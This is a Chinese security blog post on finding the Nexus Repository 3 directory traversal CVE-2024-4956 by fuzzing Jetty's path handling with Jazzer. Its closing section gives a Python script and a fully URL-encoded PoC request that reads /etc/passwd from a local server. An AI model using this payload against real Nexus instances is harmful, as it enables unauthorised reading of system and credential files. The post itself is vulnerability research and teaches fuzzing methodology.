Skip to content
Go back

通过 Java Fuzzing 挖掘 Nexus Repository 3 目录穿越漏洞 (CVE-2024-4956)

Edit page

Table of contents

Open Table of contents

前言

很久之前和朋友一起挖某 SRC 的时候遇到过开放在公网的 Nexus 仓库, 但是当时也没从仓库公开的 jar 包内找到什么敏感信息, 最后也就作罢

上周三看到了赛博昆仑的漏洞通告之后想起来这件事情, 于是就花了一点时间简单分析了这个漏洞, 最后结合 Jazzer 这个 Java Fuzzing 框架得到了 PoC

这篇文章其实发的有点晚了, 不过由于自己最近也在做 Fuzzing 相关的工作, 而且 @evilpan 师傅之前也分享过 Java Fuzzing 的文章, 于是我也打算借这个目录穿越简单分享下 Java Fuzzing 在漏洞挖掘中的应用

https://evilpan.com/2023/09/09/java-fuzzing/

漏洞点

https://mp.weixin.qq.com/s/7kAEwB_FcQ2KLeiIfh0dxg

https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability

先说下怎么拿源码和调试

docker pull sonatype/nexus3:3.68.0-java8
docker pull sonatype/nexus3:3.68.1-java8

把镜像内的 /opt/sonatype/nexus 目录复制出来

image-20240527123746752

然后把目录下的所有 jar 都复制到同一目录下, 方便 IDEA 添加依赖

find . -name "*.jar" -exec cp {} all-lib/ \;

docker 调试

docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

对比 nexus-base-xxx.jar, 可以发现漏洞点位于 WebResourceServiceImpl

image-20240527123628102

另外官方通告提到了 reourceBase, 位于 jetty.xml

image-20240527124437294

这个其实也很容易理解, 当用户访问的 URL 没有命中任何 Servlet 时, 会 fallback 到这个 public 目录

public 目录下存放的都是些静态文件, 例如 robots.txt 以及各种图片 (favicon)

image-20240527124543204

随便打几个断点, 经过一些简单的动态调试, 可以发现 WebResourceServlet 会调用 WebResourceServiceImpl 的 getResource 方法

org.sonatype.nexus.internal.webresources.WebResourceServlet

image-20240527124900000

这里传入的 path 不能以 / 结尾, 否则就会在后面加上 index.html, 后续在 Fuzzing 的时候需要注意这个点

org.sonatype.nexus.internal.webresources.WebResourceServiceImpl#getResource

image-20240527125206827

getResource 方法会通过三种不同的方式获取资源文件

  1. devModeResources: 需要手动启用开发者模式, 内部维护了一个 resourceLocations 列表, 默认为空
  2. resourcePaths: 即 static 目录下的各种 js 文件和图片

image-20240527125528166

  1. this.servletContext: 即 org.eclipse.jetty.webapp.WebAppContext, 通过 Jetty 的 WebAppContext 获取资源文件

经过测试可以发现如果我们访问 public 目录下的文件, 例如 robots.txt, 则会 fallback 到第三种方式, 也就是 org.eclipse.jetty.webapp.WebAppContext#getResource

这里其实就已经到了 Jetty 自身的逻辑, 跟 Nexus 没有关系了

直接给出调用栈

<init>:261, PathResource (org.eclipse.jetty.util.resource)
addPath:380, PathResource (org.eclipse.jetty.util.resource)
getResource:1958, ContextHandler (org.eclipse.jetty.server.handler)
getResource:389, WebAppContext (org.eclipse.jetty.webapp)
getResource:1562, WebAppContext$Context (org.eclipse.jetty.webapp)
getResource:127, WebResourceServiceImpl (org.sonatype.nexus.internal.webresources)
doGet:98, WebResourceServlet (org.sonatype.nexus.internal.webresources)
service:687, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:293, ServletDefinition (com.google.inject.servlet)
doService:283, ServletDefinition (com.google.inject.servlet)
service:184, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:458, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:96, SecurityFilter (org.sonatype.nexus.security)
call:373, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:387, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:370, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:112, SecurityFilter (org.sonatype.nexus.security)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:116, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:79, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:133, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
handle:600, SecurityHandler (org.eclipse.jetty.security)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:239, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1026407993 (org.eclipse.jetty.server.HttpChannel$$Lambda$1934)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:750, Thread (java.lang)

几个关键的地方

首先 path 必须以 / 开头

image-20240527125942950

然后会通过 PathResource 的 addPath 方法拼接路径

image-20240527130059180

addPath 方法内部会先使用 URIUtil.canonicalPath 方法进行路径标准化, 如果标准化的结果为 null, 则会抛出异常

image-20240527130113611

然后会将原来的 subPath 传入 PathResource 构造函数, 得到一个新的资源路径

image-20240527130226891

注意 canonicalPath 的结果并不会传入 PathResource 的构造函数, 也就是说这个过程只是个 check 而不是 sanitize

再看这个方法的具体实现

public static String canonicalPath(String path) {
    if (path != null && !path.isEmpty()) {
        boolean slash = true;
        int end = path.length();

        int i;
        label68:
        for(i = 0; i < end; ++i) {
            char c = path.charAt(i);
            switch (c) {
                case '.':
                    if (slash) {
                        break label68;
                    }

                    slash = false;
                    break;
                case '/':
                    slash = true;
                    break;
                default:
                    slash = false;
            }
        }

        if (i == end) {
            return path;
        } else {
            StringBuilder canonical = new StringBuilder(path.length());
            canonical.append(path, 0, i);
            int dots = 1;
            ++i;

            for(; i < end; ++i) {
                char c = path.charAt(i);
                switch (c) {
                    case '.':
                        if (dots > 0) {
                            ++dots;
                        } else if (slash) {
                            dots = 1;
                        } else {
                            canonical.append('.');
                        }

                        slash = false;
                        continue;
                    case '/':
                        if (doDotsSlash(canonical, dots)) {
                            return null;
                        }

                        slash = true;
                        dots = 0;
                        continue;
                }

                while(dots-- > 0) {
                    canonical.append('.');
                }

                canonical.append(c);
                dots = 0;
                slash = false;
            }

            if (doDots(canonical, dots)) {
                return null;
            } else {
                return canonical.toString();
            }
        }
    } else {
        return path;
    }
}

这个方法如何进行路径标准化? 在什么情况下会返回 null? 可以通过以下几个 demo 直观地感受一下

URIUtil.canonicalPath("/robots.txt"); // /robots.txt
URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
URIUtil.canonicalPath("/../etc/passwd"); // null
URIUtil.canonicalPath("/../../../etc/passwd"); // null

当传入的路径跳出了当前的根目录时, canonicalPath 会返回 null, 看起来是为了预防目录穿越的情况

说实话第一眼看过去我也不能立刻就想到有什么可以绕过的方法, 但是我们可以把上面这一系列的逻辑从 Jetty 中抽离出来, 使用 Fuzzing 的思路进行测试

Fuzzing

https://github.com/CodeIntelligenceTesting/jazzer

Jazzer 是一个基于 libfuzzer 的 Fuzzing 框架, 同时也被集成进了 Google 的 OSS-Fuzz

关于 libfuzzer 的使用可以参考 Google 的 fuzzing 教程

https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md

Jazzer 本质上其实还是 libfuzzer 的套壳, 但是它针对 Java 语言层面主要做了如下的改进 (基于 Java Agent)

  1. 覆盖率插桩: 生成数据流图 (Control Flow Graph, CFG), 在每条边 (Edge) 上插入记录当前位置覆盖率的方法调用 (CoverageMap.recordCoverage)
  2. 数据流插桩: Hook 常见 Java 数据类型的比较方法 (例如 compare, indexOf, startsWith), 以及底层 JVM opcode, 将跟踪 (trace) 数据发送至 libfuzzer, 用于 fuzz 数据的 mutate
  3. 敏感函数 (Sink) 插桩: Hook 常见的危险函数 (例如 Runtime.exec, InitialContext.lookup, Statement.execute) 并检测是否存在危险逻辑, 思路其实与 RASP 类似

感兴趣的的师傅可以参考如下几篇文章, 以及 Jazzer 项目的源代码

https://www.code-intelligence.com/blog/java-fuzzing-with-jazzer

https://www.code-intelligence.com/blog/how-to-write-fuzz-targets-for-java-applications

https://www.code-intelligence.com/blog/on-the-fuzzing-hook

在 fuzz 之前我们需要编写 Test Harness, 即定义一个 fuzzerTestOneInput 方法, 然后在内部调用被 fuzz 的特定方法

对于这个漏洞而言, Test Harness 就是我们上述需要从 Jetty 中抽离出来的逻辑

package fuzz;

import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;

import java.net.URI;

public class Main {
    public static void fuzzerTestOneInput(FuzzedDataProvider data) {
        String path = data.consumeRemainingAsAsciiString();
        if (!path.startsWith("/")) return;
        if (URIUtil.canonicalPath(path) == null) return;
        if (path.endsWith("/")) return;
        if (!path.endsWith("/etc/passwd")) return;

        try {
            PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
            PathResource child = (PathResource) parent.addPath(path);

            if (child.getPath().normalize().toString().equals("/etc/passwd")) {
                Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
            }
        } catch (Exception e) {
            // ignore
        }
    }
}

开头前面的几个 if 用于限制 fuzz 数据的范围, 后续就是通过 PathResource 拼接路径的过程

如果拼接后的路径在 normalize 之后等于 /etc/passwd, 那么就可以大概率认为这个数据是有效的, 然后会抛出 FuzzerSecurityIssueCritical 异常以中止 fuzz 流程

将 harness 和 Jetty 依赖打包至同一个 jar 内, 然后运行 Jazzer

./jazzer --cp="JettyFuzz.jar" --target_class="fuzz.Main" -use_value_profile=1

等待一会即可得到结果

image-20240527143006080

当然直接用这个路径访问肯定是不行的, 因为 Jetty 会在 Servlet 处理之前对这种畸形 URL 进行一些标准化操作, 导致最终 Servlet 接收到的路径不是我们原来的路径, 解决方法是将路径完全 URL 编码后再发送

import requests

def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data

payload = '///..//.//..///..//.././etc/passwd'

url = 'http://127.0.0.1:8081/' + urlencode(payload)
res = requests.get(url)
print(url)
print(res.text)

最终 PoC

http://127.0.0.1:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64

image-20240527143546817

完整 harness 代码: https://github.com/X1r0z/JettyFuzz

尽管如此, 上述的 fuzz 过程其实还是存在一些问题

  1. harness 经过一定的简化, 其实并不能完全还原实际场景 (如果想要做到完全还原, 那么相应的 fuzz 效率也会变低, 需要消耗更多的时间)

  2. 因为上面这一点, 所以 fuzz 出来的 payload 有几率出现误报, 可能需要跑多次 fuzz 拿到多个结果再进行测试

但总的来说, Java Fuzzing 技术在漏洞挖掘的过程中也还是能起到一定的帮助作用, 例如这种复杂/畸形路径的构建, 或是 @evilpan 师傅在文章中提到的特定 IP 导致的鉴权绕过


Edit page
Share this post on:

Previous Post
巅峰极客 2024 初赛 Web Writeup
Next Post
Ethernaut Writeup